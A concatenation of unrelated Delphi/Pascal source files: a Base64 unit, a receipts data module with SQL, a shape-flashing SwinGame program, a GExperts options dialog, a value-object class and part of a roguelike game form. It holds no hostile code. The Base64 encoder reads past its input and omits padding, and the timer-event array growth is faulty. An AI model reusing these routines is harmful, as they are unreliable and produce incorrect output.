15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 63, 0, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 0, 0, 0, 0, 0);
function Base64Encode(orig: string): string;
function Base64Decode(encoded: string): string;
implementation
function Base64Encode(orig: string): string;
var
size: integer;
encoded: string;
src: integer;
pos: integer;
begin
size := length(orig);
src := 1;
encoded := '';
while (size > 0) do
begin
pos := Ord(orig[src]);
pos := (pos shr 2);
encoded := encoded + kBase64Chars[pos];
if size > 0 then
encoded := encoded + kBase64Chars[((Ord(orig[src]) shl 4) or (Ord(orig[src + 1]) shr 4)) and 63]
else
encoded := encoded + kBase64Chars[((Ord(orig[src]) shl 4)) and 63];
Dec(size);
if (size > 0) then
begin
if size > 0 then
encoded := encoded + kBase64Chars[((Ord(orig[src + 1]) shl 2) or (Ord(orig[src + 2]) shr 6)) and 63]
else
encoded := encoded + kBase64Chars[(Ord(orig[src + 1]) shl 2) and 63];
Dec(size);
if (size > 0) then
begin
encoded := encoded + kBase64Chars[Ord(orig[src + 2]) and 63];
Dec(size);
end;
end;
src := src + 3;
end;
Result := encoded;
end;
function Base64Decode(encoded: string): string;
var
size, src: integer;
b0, b1, r, b2, b3: integer;
begin
size := length(encoded);
src := 1;
Result := '';
while (size > 0) do
begin
b0 := kBase64CharsReversed[Ord(encoded[src])];
inc(src);
Dec(size);
if (size > 0) then
begin
b1 := kBase64CharsReversed[Ord(encoded[src])];
inc(src);
r := (b0 shl 2) or (b1 shr 4);
// assert(dest != str.end());
Result := Result + chr(r);
Dec(size);
if (size > 0) then
begin
b2 := kBase64CharsReversed[Ord(encoded[src])];
inc(src);
r := ((b1 shl 4) and 255) or (b2 shr 2);
// assert(dest != str.end());
Result := Result + chr(r);
Dec(size);
if (size > 0) then
begin
b3 := kBase64CharsReversed[Ord(encoded[src])];
inc(src);
r := ((b2 shl 6) and 255) or b3;
// assert(dest != str.end());
Result := Result + chr(r);
Dec(size);
end;
end;
end;
end;
end;
end.
|
inherited dmRcboAgregados: TdmRcboAgregados
OldCreateOrder = True
inherited qryManutencao: TIBCQuery
SQLInsert.Strings = (
'INSERT INTO STWCOLTREC'
' (FIL_ORIG, RECIBO, DT_EMISSAO, PERIODO_I, PERIODO_F, VEICULO, ' +
'MOTORISTA, VLR_DIARIAS, QTD_COLETAS, VLR_COLETAS, QTD_ENTREGAS, ' +
'VLR_ENTREGAS, ADIANTAMENTO, REEMBOLSO, DESCONTOS, QUILOMETRAGEM,' +
' VLR_LIQUIDO, BASE_IRRF, VLR_IRRF, SEST_SENAT, INPS, STATUS, FIL' +
'_ORIGEM, AUTORIZACAO, PARCELA, DT_ALTERACAO, OPERADOR)'
'VALUES'
' (:FIL_ORIG, :RECIBO, :DT_EMISSAO, :PERIODO_I, :PERIODO_F, :VEI' +
'CULO, :MOTORISTA, :VLR_DIARIAS, :QTD_COLETAS, :VLR_COLETAS, :QTD' +
'_ENTREGAS, :VLR_ENTREGAS, :ADIANTAMENTO, :REEMBOLSO, :DESCONTOS,' +
' :QUILOMETRAGEM, :VLR_LIQUIDO, :BASE_IRRF, :VLR_IRRF, :SEST_SENA' +
'T, :INPS, :STATUS, :FIL_ORIGEM, :AUTORIZACAO, :PARCELA, :DT_ALTE' +
'RACAO, :OPERADOR)')
SQLDelete.Strings = (
'DELETE FROM STWCOLTREC'
'WHERE'
' FIL_ORIG = :Old_FIL_ORIG AND RECIBO = :Old_RECIBO')
SQLUpdate.Strings = (
'UPDATE STWCOLTREC'
'SET'
' FIL_ORIG = :FIL_ORIG, RECIBO = :RECIBO, DT_EMISSAO = :DT_EMISS' +
'AO, PERIODO_I = :PERIODO_I, PERIODO_F = :PERIODO_F, VEICULO = :V' +
'EICULO, MOTORISTA = :MOTORISTA, VLR_DIARIAS = :VLR_DIARIAS, QTD_' +
'COLETAS = :QTD_COLETAS, VLR_COLETAS = :VLR_COLETAS, QTD_ENTREGAS' +
' = :QTD_ENTREGAS, VLR_ENTREGAS = :VLR_ENTREGAS, ADIANTAMENTO = :' +
'ADIANTAMENTO, REEMBOLSO = :REEMBOLSO, DESCONTOS = :DESCONTOS, QU' +
'ILOMETRAGEM = :QUILOMETRAGEM, VLR_LIQUIDO = :VLR_LIQUIDO, BASE_I' +
'RRF = :BASE_IRRF, VLR_IRRF = :VLR_IRRF, SEST_SENAT = :SEST_SENAT' +
', INPS = :INPS, STATUS = :STATUS, FIL_ORIGEM = :FIL_ORIGEM, AUTO' +
'RIZACAO = :AUTORIZACAO, PARCELA = :PARCELA, DT_ALTERACAO = :DT_A' +
'LTERACAO, OPERADOR = :OPERADOR'
'WHERE'
' FIL_ORIG = :Old_FIL_ORIG AND RECIBO = :Old_RECIBO')
SQLRefresh.Strings = (
'SELECT FIL_ORIG, RECIBO, DT_EMISSAO, PERIODO_I, PERIODO_F, VEICU' +
'LO, MOTORISTA, VLR_DIARIAS, QTD_COLETAS, VLR_COLETAS, QTD_ENTREG' +
'AS, VLR_ENTREGAS, ADIANTAMENTO, REEMBOLSO, DESCONTOS, QUILOMETRA' +
'GEM, VLR_LIQUIDO, BASE_IRRF, VLR_IRRF, SEST_SENAT, INPS, STATUS,' +
' FIL_ORIGEM, AUTORIZACAO, PARCELA, DT_ALTERACAO, OPERADOR FROM S' +
'TWCOLTREC'
'WHERE'
' FIL_ORIG = :Old_FIL_ORIG AND RECIBO = :Old_RECIBO')
SQLLock.Strings = (
'SELECT NULL FROM STWCOLTREC'
'WHERE'
'FIL_ORIG = :Old_FIL_ORIG AND RECIBO = :Old_RECIBO'
'FOR UPDATE WITH LOCK')
SQL.Strings = (
'SELECT'
' REC.FIL_ORIG, '
' REC.RECIBO, '
' REC.DT_EMISSAO, '
' REC.PERIODO_I, '
' REC.PERIODO_F, '
' REC.VEICULO, '
' REC.MOTORISTA, '
' REC.VLR_DIARIAS, '
' REC.QTD_COLETAS, '
' REC.VLR_COLETAS, '
' REC.QTD_ENTREGAS, '
' REC.VLR_ENTREGAS, '
' REC.ADIANTAMENTO, '
' REC.REEMBOLSO, '
' REC.DESCONTOS, '
' REC.QUILOMETRAGEM, '
' REC.VLR_LIQUIDO, '
' REC.BASE_IRRF, '
' REC.VLR_IRRF, '
' REC.SEST_SENAT, '
' REC.INPS, '
' REC.STATUS, '
' REC.FIL_ORIGEM, '
' REC.AUTORIZACAO, '
' REC.PARCELA, '
' REC.DT_ALTERACAO, '
' REC.OPERADOR,'
' VEI.CGC_PRO PROPRIETARIO,'
' PRO.NOME NM_PROPRIETARIO,'
' MOT.NOME NM_MOTORISTA'
'FROM STWCOLTREC REC'
'LEFT JOIN STWOPETVEI VEI ON VEI.FROTA = REC.VEICULO'
'LEFT JOIN STWOPETMOT PRO ON PRO.CPF = VEI.CGC_PRO'
'LEFT JOIN STWOPETMOT MOT ON MOT.CPF = REC.MOTORISTA')
object qryManutencaoFIL_ORIG: TStringField
FieldName = 'FIL_ORIG'
Required = True
Size = 3
end
object qryManutencaoRECIBO: TIntegerField
FieldName = 'RECIBO'
Required = True
end
object qryManutencaoDT_EMISSAO: TDateTimeField
FieldName = 'DT_EMISSAO'
end
object qryManutencaoPERIODO_I: TDateTimeField
FieldName = 'PERIODO_I'
end
object qryManutencaoPERIODO_F: TDateTimeField
FieldName = 'PERIODO_F'
end
object qryManutencaoVEICULO: TStringField
FieldName = 'VEICULO'
Size = 8
end
object qryManutencaoMOTORISTA: TStringField
FieldName = 'MOTORISTA'
Size = 18
end
object qryManutencaoVLR_DIARIAS: TFloatField
FieldName = 'VLR_DIARIAS'
end
object qryManutencaoQTD_COLETAS: TIntegerField
FieldName = 'QTD_COLETAS'
end
object qryManutencaoVLR_COLETAS: TFloatField
FieldName = 'VLR_COLETAS'
end
object qryManutencaoQTD_ENTREGAS: TIntegerField
FieldName = 'QTD_ENTREGAS'
end
object qryManutencaoVLR_ENTREGAS: TFloatField
FieldName = 'VLR_ENTREGAS'
end
object qryManutencaoADIANTAMENTO: TFloatField
FieldName = 'ADIANTAMENTO'
end
object qryManutencaoREEMBOLSO: TFloatField
FieldName = 'REEMBOLSO'
end
object qryManutencaoDESCONTOS: TFloatField
FieldName = 'DESCONTOS'
end
object qryManutencaoQUILOMETRAGEM: TFloatField
FieldName = 'QUILOMETRAGEM'
end
object qryManutencaoVLR_LIQUIDO: TFloatField
FieldName = 'VLR_LIQUIDO'
end
object qryManutencaoBASE_IRRF: TFloatField
FieldName = 'BASE_IRRF'
end
object qryManutencaoVLR_IRRF: TFloatField
FieldName = 'VLR_IRRF'
end
object qryManutencaoSEST_SENAT: TFloatField
FieldName = 'SEST_SENAT'
end
object qryManutencaoINPS: TFloatField
FieldName = 'INPS'
end
object qryManutencaoSTATUS: TStringField
FieldName = 'STATUS'
Size = 2
end
object qryManutencaoFIL_ORIGEM: TStringField
FieldName = 'FIL_ORIGEM'
Size = 3
end
object qryManutencaoAUTORIZACAO: TIntegerField
FieldName = 'AUTORIZACAO'
end
object qryManutencaoPARCELA: TSmallintField
FieldName = 'PARCELA'
end
object qryManutencaoDT_ALTERACAO: TDateTimeField
FieldName = 'DT_ALTERACAO'
end
object qryManutencaoOPERADOR: TStringField
FieldName = 'OPERADOR'
end
object qryManutencaoPROPRIETARIO: TStringField
FieldName = 'PROPRIETARIO'
ProviderFlags = []
ReadOnly = True
Size = 18
end
object qryManutencaoNM_PROPRIETARIO: TStringField
FieldName = 'NM_PROPRIETARIO'
ProviderFlags = []
ReadOnly = True
Size = 40
end
object qryManutencaoNM_MOTORISTA: TStringField
FieldName = 'NM_MOTORISTA'
ProviderFlags = []
ReadOnly = True
Size = 40
end
end
inherited qryLocalizacao: TIBCQuery
SQL.Strings = (
'SELECT'
' REC.FIL_ORIG, '
' REC.RECIBO, '
' REC.DT_EMISSAO, '
' REC.PERIODO_I, '
' REC.PERIODO_F, '
' REC.VEICULO, '
' REC.MOTORISTA, '
' REC.VLR_DIARIAS, '
' REC.QTD_COLETAS, '
' REC.VLR_COLETAS, '
' REC.QTD_ENTREGAS, '
' REC.VLR_ENTREGAS, '
' REC.ADIANTAMENTO, '
' REC.REEMBOLSO, '
' REC.DESCONTOS, '
' REC.QUILOMETRAGEM, '
' REC.VLR_LIQUIDO, '
' REC.BASE_IRRF, '
' REC.VLR_IRRF, '
' REC.SEST_SENAT, '
' REC.INPS, '
' REC.STATUS, '
' REC.FIL_ORIGEM, '
' REC.AUTORIZACAO, '
' REC.PARCELA, '
' REC.DT_ALTERACAO, '
' REC.OPERADOR,'
' VEI.CGC_PRO PROPRIETARIO,'
' PRO.NOME NM_PROPRIETARIO,'
' MOT.NOME NM_MOTORISTA'
'FROM STWCOLTREC REC'
'LEFT JOIN STWOPETVEI VEI ON VEI.FROTA = REC.VEICULO'
'LEFT JOIN STWOPETMOT PRO ON PRO.CPF = VEI.CGC_PRO'
'LEFT JOIN STWOPETMOT MOT ON MOT.CPF = REC.MOTORISTA')
object qryLocalizacaoFIL_ORIG: TStringField
FieldName = 'FIL_ORIG'
Required = True
Size = 3
end
object qryLocalizacaoRECIBO: TIntegerField
FieldName = 'RECIBO'
Required = True
end
object qryLocalizacaoDT_EMISSAO: TDateTimeField
FieldName = 'DT_EMISSAO'
end
object qryLocalizacaoPERIODO_I: TDateTimeField
FieldName = 'PERIODO_I'
end
object qryLocalizacaoPERIODO_F: TDateTimeField
FieldName = 'PERIODO_F'
end
object qryLocalizacaoVEICULO: TStringField
FieldName = 'VEICULO'
Size = 8
end
object qryLocalizacaoMOTORISTA: TStringField
FieldName = 'MOTORISTA'
Size = 18
end
object qryLocalizacaoVLR_DIARIAS: TFloatField
FieldName = 'VLR_DIARIAS'
end
object qryLocalizacaoQTD_COLETAS: TIntegerField
FieldName = 'QTD_COLETAS'
end
object qryLocalizacaoVLR_COLETAS: TFloatField
FieldName = 'VLR_COLETAS'
end
object qryLocalizacaoQTD_ENTREGAS: TIntegerField
FieldName = 'QTD_ENTREGAS'
end
object qryLocalizacaoVLR_ENTREGAS: TFloatField
FieldName = 'VLR_ENTREGAS'
end
object qryLocalizacaoADIANTAMENTO: TFloatField
FieldName = 'ADIANTAMENTO'
end
object qryLocalizacaoREEMBOLSO: TFloatField
FieldName = 'REEMBOLSO'
end
object qryLocalizacaoDESCONTOS: TFloatField
FieldName = 'DESCONTOS'
end
object qryLocalizacaoQUILOMETRAGEM: TFloatField
FieldName = 'QUILOMETRAGEM'
end
object qryLocalizacaoVLR_LIQUIDO: TFloatField
FieldName = 'VLR_LIQUIDO'
end
object qryLocalizacaoBASE_IRRF: TFloatField
FieldName = 'BASE_IRRF'
end
object qryLocalizacaoVLR_IRRF: TFloatField
FieldName = 'VLR_IRRF'
end
object qryLocalizacaoSEST_SENAT: TFloatField
FieldName = 'SEST_SENAT'
end
object qryLocalizacaoINPS: TFloatField
FieldName = 'INPS'
end
object qryLocalizacaoSTATUS: TStringField
FieldName = 'STATUS'
Size = 2
end
object qryLocalizacaoFIL_ORIGEM: TStringField
FieldName = 'FIL_ORIGEM'
Size = 3
end
object qryLocalizacaoAUTORIZACAO: TIntegerField
FieldName = 'AUTORIZACAO'
end
object qryLocalizacaoPARCELA: TSmallintField
FieldName = 'PARCELA'
end
object qryLocalizacaoDT_ALTERACAO: TDateTimeField
FieldName = 'DT_ALTERACAO'
end
object qryLocalizacaoOPERADOR: TStringField
FieldName = 'OPERADOR'
end
object qryLocalizacaoPROPRIETARIO: TStringField
FieldName = 'PROPRIETARIO'
ReadOnly = True
Size = 18
end
object qryLocalizacaoNM_PROPRIETARIO: TStringField
FieldName = 'NM_PROPRIETARIO'
ReadOnly = True
Size = 40
end
object qryLocalizacaoNM_MOTORISTA: TStringField
FieldName = 'NM_MOTORISTA'
ReadOnly = True
Size = 40
end
end
end
|
program GameMain;
{$IFNDEF UNIX} {$r GameLauncher.res} {$ENDIF}
uses sgTypes, sgCore, sgAudio, sgText, sgGraphics, sgResources;
procedure DrawRect(rx,ry: Integer);
begin
ry :=ry;
rx :=rx;
FillRectangle(ColorBlack, rx,ry,200,80);
Delay(300);
RefreshScreen();
end;
procedure DrawCir(cx,cy: Integer);
begin
cy :=cy;
cx :=cx;
DrawCircleOnScreen(ColorBlack,true, cx,cy,40);
Delay(300);
RefreshScreen();
// to get a longer pause
Delay(300);
RefreshScreen();
end;
procedure DelayRefresh();
begin
Delay(300);
RefreshScreen();
end;
procedure LetterW(letter :String);
begin
letter :=letter;
DrawCir(50,80);
DrawRect(120,40);
DrawRect(380,40);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
RefreshScreen();
end;
procedure LetterA(letter :String);
begin
letter :=letter;
DrawCir(50,80);
DrawRect(120,40);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure LetterY(letter :String);
begin
letter :=letter;
DrawRect(20,40);
DrawCir(280,80);
DrawRect(340,40);
DrawRect(580,40);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure LetterN(letter :String);
begin
letter :=letter;
DrawRect(20,40);
DrawCir(280,80);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure LetterE(letter :String);
begin
letter :=letter;
DrawCir(50,80);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure Stop(letter :String);
begin
letter :=letter;
DrawText(letter,ColorBlack,350, 200);
DrawCir(50,80);
DrawRect(100,40);
DrawCir(350,80);
DrawRect(410,40);
DrawCir(50,180);
DrawRect(100,150);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure LetterB(letter :String);
begin
letter :=letter;
//DrawText(letter,ColorBlack,350, 200);
DrawRect(20,40);
DrawCir(280,80);
DrawCir(380,80);
DrawCir(480,80);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure LetterU(letter :String);
begin
letter :=letter;
//DrawText(letter,ColorBlack,350, 200);
DrawCir(50,80);
DrawCir(180,80);
DrawRect(300,40);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure LetterC(letter :String);
begin
letter :=letter;
DrawRect(20,40);
DrawCir(280,80);
DrawRect(340,40);
DrawCir(600,80);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure LetterH(letter :String);
begin
letter :=letter;
//DrawText(letter,ColorBlack,350, 200);
DrawCir(50,80);
DrawCir(180,80);
DrawCir(280,80);
DrawCir(380,80);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure LetterR(letter :String);
begin
letter :=letter;
DrawText(letter,ColorBlack,350, 200);
DrawCir(50,80);
DrawRect(100,40);
DrawCir(350,80);
DelayRefresh();
Delay(300);
ClearScreen(ColorWhite);
DelayRefresh();
end;
procedure Main();
begin
OpenAudio();
OpenGraphicsWindow('Hello World', 800, 600);
ClearScreen(ColorWhite);
repeat // The game loop...
ProcessEvents();
//Draw screen
ClearScreen(ColorWhite);
LetterW('W');
LetterA('A');
LetterY('Y');
LetterN('N');
LetterE('E');
Stop('Stop');
LetterB('B');
LetterU('U');
LetterC('C');
LetterH('H');
LetterN('N');
LetterE('E');
LetterR('R');
Delay(1000);
RefreshScreen();
until WindowCloseRequested();
CloseAudio();
ReleaseAllResources();
end;
begin
Main();
end.
//DrawText(theText: String; textColor: Colour; theFont: Font; pt: Point2D);
// DrawText(letter,ColorBlack,350, 100);
// DelayRefresh(); |
unit DebugOptions;
interface
uses
Windows, SysUtils, Classes, Graphics, Controls, Forms, StdCtrls;
type
TDebugConfigData = class(TObject)
public
Start: Boolean;
OnMessage: Boolean;
Bottom: Boolean;
constructor Create;
procedure SaveSettings;
procedure LoadSettings;
end;
type
TfmDebugOptions = class(TForm)
gbxView: TGroupBox;
chkShowOnStartup: TCheckBox;
chkShowOnMessage: TCheckBox;
gbxMessages: TGroupBox;
chkNewAtBottom: TCheckBox;
btnOK: TButton;
btnCancel: TButton;
procedure FormCreate(Sender: TObject);
procedure btnOKClick(Sender: TObject);
end;
var
ConfigInfo: TDebugConfigData = nil;
fmDebugOptions: TfmDebugOptions;
implementation
uses Registry, GX_GenericUtils;
{$R *.dfm}
constructor TDebugConfigData.Create;
begin
inherited Create;
LoadSettings;
end;
procedure TDebugConfigData.LoadSettings;
var
Settings: TRegIniFile;
begin
// Do not localize
Settings := TRegIniFile.Create('Software\GExperts\Debug');
try
Start := Settings.ReadBool('View', 'Startup', False);
OnMessage := Settings.ReadBool('View', 'OnMessage', False);
Bottom := Settings.ReadBool('Messages', 'Bottom', False);
finally
FreeAndNil(Settings);
end;
end;
procedure TDebugConfigData.SaveSettings;
var
Settings: TRegIniFile;
begin
Settings := TRegIniFile.Create('Software\GExperts\Debug');
try
Settings.WriteBool('View', 'Startup', Start);
Settings.WriteBool('View', 'OnMessage', OnMessage);
Settings.WriteBool('Messages', 'Bottom', Bottom);
finally
FreeAndNil(Settings);
end;
end;
procedure TfmDebugOptions.FormCreate(Sender: TObject);
begin
SetDefaultFont(Self);
chkShowOnStartup.Checked := ConfigInfo.Start;
chkShowOnMessage.Checked := ConfigInfo.OnMessage;
chkNewAtBottom.Checked := ConfigInfo.Bottom;
end;
procedure TfmDebugOptions.btnOKClick(Sender: TObject);
begin
ConfigInfo.Start := chkShowOnStartup.Checked;
ConfigInfo.OnMessage := chkShowOnMessage.Checked;
ConfigInfo.Bottom := chkNewAtBottom.Checked;
ConfigInfo.SaveSettings;
ModalResult := mrOk;
end;
initialization
ConfigInfo := TDebugConfigData.Create;
finalization
FreeAndNil(ConfigInfo);
end.
|
unit uSolicitacaoOcorrenciaVO;
interface
uses
System.SysUtils, uUsuarioVO;
type
TSolicitacaoOcorrenciaVO = class
private
FHora: string;
FDescricao: string;
FIdTipo: Integer;
FId: Integer;
FAnexo: string;
FIdUsuarioOperacional: Integer;
FIdSolicitacao: Integer;
FClassificacao: Integer;
FData: TDate;
FUsuario: TUsuarioVO;
procedure SetAnexo(const Value: string);
procedure SetClassificacao(const Value: Integer);
procedure SetData(const Value: TDate);
procedure SetDescricao(const Value: string);
procedure SetHora(const Value: string);
procedure SetId(const Value: Integer);
procedure SetIdSolicitacao(const Value: Integer);
procedure SetIdTipo(const Value: Integer);
procedure SetIdUsuarioOperacional(const Value: Integer);
procedure SetUsuario(const Value: TUsuarioVO);
public
property Id: Integer read FId write SetId;
property IdSolicitacao: Integer read FIdSolicitacao write SetIdSolicitacao;
property IdUsuarioOperacional: Integer read FIdUsuarioOperacional write SetIdUsuarioOperacional;
property Data: TDate read FData write SetData;
property Hora: string read FHora write SetHora;
property Descricao: string read FDescricao write SetDescricao;
property IdTipo: Integer read FIdTipo write SetIdTipo;
property Classificacao: Integer read FClassificacao write SetClassificacao;
property Anexo: string read FAnexo write SetAnexo;
property Usuario: TUsuarioVO read FUsuario write SetUsuario;
constructor Create; overload;
destructor Destroy; override;
end;
implementation
{ TSolicitacaoOcorrenciaVO }
constructor TSolicitacaoOcorrenciaVO.Create;
begin
inherited Create;
FUsuario := TUsuarioVO.Create;
end;
destructor TSolicitacaoOcorrenciaVO.Destroy;
begin
FreeAndNil(FUsuario);
inherited;
end;
procedure TSolicitacaoOcorrenciaVO.SetAnexo(const Value: string);
begin
FAnexo := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetClassificacao(const Value: Integer);
begin
FClassificacao := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetData(const Value: TDate);
begin
FData := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetDescricao(const Value: string);
begin
FDescricao := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetHora(const Value: string);
begin
FHora := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetId(const Value: Integer);
begin
FId := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetIdSolicitacao(const Value: Integer);
begin
FIdSolicitacao := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetIdTipo(const Value: Integer);
begin
FIdTipo := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetIdUsuarioOperacional(
const Value: Integer);
begin
FIdUsuarioOperacional := Value;
end;
procedure TSolicitacaoOcorrenciaVO.SetUsuario(const Value: TUsuarioVO);
begin
FUsuario := Value;
end;
end.
|
unit uMain;
interface
uses
// Delphi units
Windows, Messages, WinTypes, Menus, Classes, Controls, Forms, WinProcs,
SysUtils, Variants, Graphics, Dialogs, ExtCtrls,
// Own units
uGUI, uSCR, uGraph;
type
TfMain = class(TForm)
Timer1: TTimer;
procedure FormPaint(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; x,
y: Integer);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
procedure Timer1Timer(Sender: TObject);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormDblClick(Sender: TObject);
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormClick(Sender: TObject);
private
FGraph: TGraph;
InputLocked: Boolean;
DisplayLocked: Boolean;
TimerEvents: array of TNotifyEvent;
procedure WinMsgOM(var Msg: TMsg; var Handled: Boolean);
public
procedure RefreshBox;
procedure Wait(MS: Integer);
procedure AddTimerEvent(AEvent: TNotifyEvent);
procedure DeleteTimerEvent(AEvent: TNotifyEvent);
function TimerEventCnt(): Integer;
procedure Display();
end;
var
fMain: TfMain;
implementation
uses
// common
uVars, uUtils, uCommon, uTimeVars, UMapCommon, uAdvMap,
// hod-specific
uMap, uScript, uCursors, uBox, uInvBox, uMsg, uSaveLoad, uConsole, uScene,
uIni, uGUIBorder, uSceneLoad, uSceneMenu, uSceneRace, uSceneTrade, uSounds,
uSceneStat, uSceneChar, uSceneQuest, uSceneHelp, uSceneCraft, uSceneInv,
uTest, uAlerts, uBar, uSceneSkill, Ammunition;
{$R *.dfm}
var
T: Cardinal;
DC: HDC;
procedure TfMain.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
var
X, Y: Integer;
begin
if IsTest then T := GetTickCount;
if InputLocked then Exit;
// Навыки (F1-F8)
if IsGame and SceneSkill.Skill.Keys(Key) then FormPaint(Sender);
// Скриншот (F11)
if key = 122 then
begin
Msg.Add('Скриншот сохранен в ' + FGraph.TakeScreenShot);
RefreshBox();
Exit;
end;
if (Chr(Key) in ['A', 'C', 'S', 'Q', 'I', 'H']) then
if IsGame then
begin
Sound.PlayClick;
SceneManager.Keys(Key);
RefreshBox;
Exit;
end
else
else
if SceneManager.Keys(Key) then Exit;
VM.SetInt('Key', Key);
VM.SetInt('Ctrl', ord(ssCtrl in Shift));
VM.SetInt('Shift', ord(ssShift in Shift));
VM.SetInt('Alt', ord(ssAlt in Shift));
// Консоль
if (SceneManager.Scenes[scStat] = nil) and (key = 192) then
begin
msg.typing := not msg.typing;
RefreshBox;
Exit;
end;
if msg.typing and (GetCharFromVirtualKey(key) <> '') then
begin
msg.TypeChar(GetCharFromVirtualKey(key)[1]);
RefreshBox;
Exit;
end;
case Key of
33..40, 97..105:
begin
// DisplayLocked := True;
AlertMessage := '';
Run('Move.pas');
// DisplayLocked := False;
RefreshBox;
Exit;
end;
188: if (ssShift in Shift) and
(Map.MapObj[VM.GetInt('Hero.X'), VM.GetInt('Hero.Y')] = 55) then
begin
VM.Let('Hero.LastDungeon', 'Hero.Dungeon');
VM.Dec('Hero.Dungeon', 1);
Run('Load.pas');
RefreshBox;
Exit;
end;
190: if (ssShift in Shift) and
(Map.MapObj[VM.GetInt('Hero.X'), VM.GetInt('Hero.Y')] = 63) then
begin
VM.Let('Hero.LastDungeon', 'Hero.Dungeon');
VM.Inc('Hero.Dungeon', 1);
Run('Load.pas');
RefreshBox;
Exit;
end;
end;
if Key = 27 then
begin
SaveGame;
Sound.PlayClick;
{ if (SceneManager.Scenes[scStat] <> nil) then
begin
SceneManager.DeleteScene(scStat, True);
Exit;
end;}
SceneManager.SetScene(SceneMenu);
end;
if Key = ord('V') then
begin
if not SceneManager.IsScene(scCraft) then
begin
SceneCraft.MakeBG;
SceneManager.SetScene(SceneCraft);
end;
Exit;
end;
if Key = ord('M') then
begin
Sound.PlayClick;
IsShowMinimap := not IsShowMinimap;
RefreshBox;
Exit;
end;
if Key = ord('L') then
begin
Sound.PlayClick;
inc(ShowLogLevel);
if (ShowLogLevel > 2) then
ShowLogLevel := 0;
RefreshBox;
Exit;
end;
// Поднятие предметов
if (Key in [32]) or (Key = ord('G')) then Run('GetItem.pas');
if (Key = 13) then Run('GetItems.pas');
// 1 - 0
case Key of
48: InvBox.UseBeltItem(9);
49..57: InvBox.UseBeltItem(Key - 49);
end;
{TODO: Transfer most of code from here to script, in this case and other similar cases}
// Руны
case Key of
13: // Активировать руну
begin
X := VM.GetInt('Hero.X');
Y := VM.GetInt('Hero.Y');
if not (Map.MapDcr[X, Y] in [108..111]) then
Exit;
VM.SetInt('ActRune', Map.MapDcr[X, Y] - 107);
Map.MapObj[x, y] := Map.MapObj[x, y] - 4;
Run('Runes.pas');
RefreshBox;
Exit;
end;
end;
{
if (Key in [54..57]) then
begin
if (ssCtrl in Shift) then
InvBox.MakeSuit(key - 54)
else
InvBox.WearSuit(key - 54); }
RefreshBox;
end;
procedure TfMain.FormShow(Sender: TObject);
begin
SceneManager.SetScene(SceneMenu);
end;
procedure TfMain.AddTimerEvent(AEvent: TNotifyEvent);
var
i: Integer;
begin
// note the non-existence of "- 1"
for i := 0 to TimerEventCnt do
if i = TimerEventCnt then
begin
SetLength(TimerEvents, 2 * TimerEventCnt);
TimerEvents[i] := AEvent;
end
else
if not Assigned(TimerEvents[i]) then
begin
TimerEvents[i] := AEvent;
Break;
end;
end;
procedure TfMain.DeleteTimerEvent(AEvent: TNotifyEvent);
var
I: Integer;
begin
for i := 0 to TimerEventCnt - 1 do
if (TMethod(TimerEvents[i]).Code = TMethod(AEvent).Code) and
(TMethod(TimerEvents[i]).Data = TMethod(AEvent).Data) then
begin
TimerEvents[i] := nil;
Break;
end;
end;
procedure TfMain.FormDblClick(Sender: TObject);
begin
SceneManager.Click(mbDblLeft);
end;
procedure TfMain.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
SceneManager.Click(TMouseBtn(Button));
end;
procedure TfMain.Display;
begin
if DisplayLocked then Exit;
SCR.DisplayHint;
if IsTest and IsGame then SCR.BG.Canvas.TextOut(10, 70, IntToStr(GetTickCount - T));
BitBlt(DC, 0, 0, ClientWidth, ClientHeight, SCR.BG.Canvas.Handle, 0, 0, SRCCOPY);
end;
procedure TfMain.RefreshBox;
begin
if DisplayLocked then Exit;
SCR.Display;
SceneManager.Draw();
end;
procedure TfMain.Timer1Timer(Sender: TObject);
var
i: Integer;
begin
for i := 0 to TimerEventCnt - 1 do
if Assigned(TimerEvents[i]) then
TimerEvents[i](Self);
end;
function TfMain.TimerEventCnt: Integer;
begin
Result := Length(TimerEvents);
end;
procedure TfMain.FormPaint(Sender: TObject);
begin
SceneManager.Draw();
end;
procedure TfMain.FormMouseMove(Sender: TObject; Shift: TShiftState; x,
y: Integer);
var
K: Word;
begin
MouseX := X;
MouseY := Y;
SceneManager.MouseMove(X, Y);
// Временно, пока не будет сцены uSceneGame
// Map.DrawHints;
RefreshBox;
end;
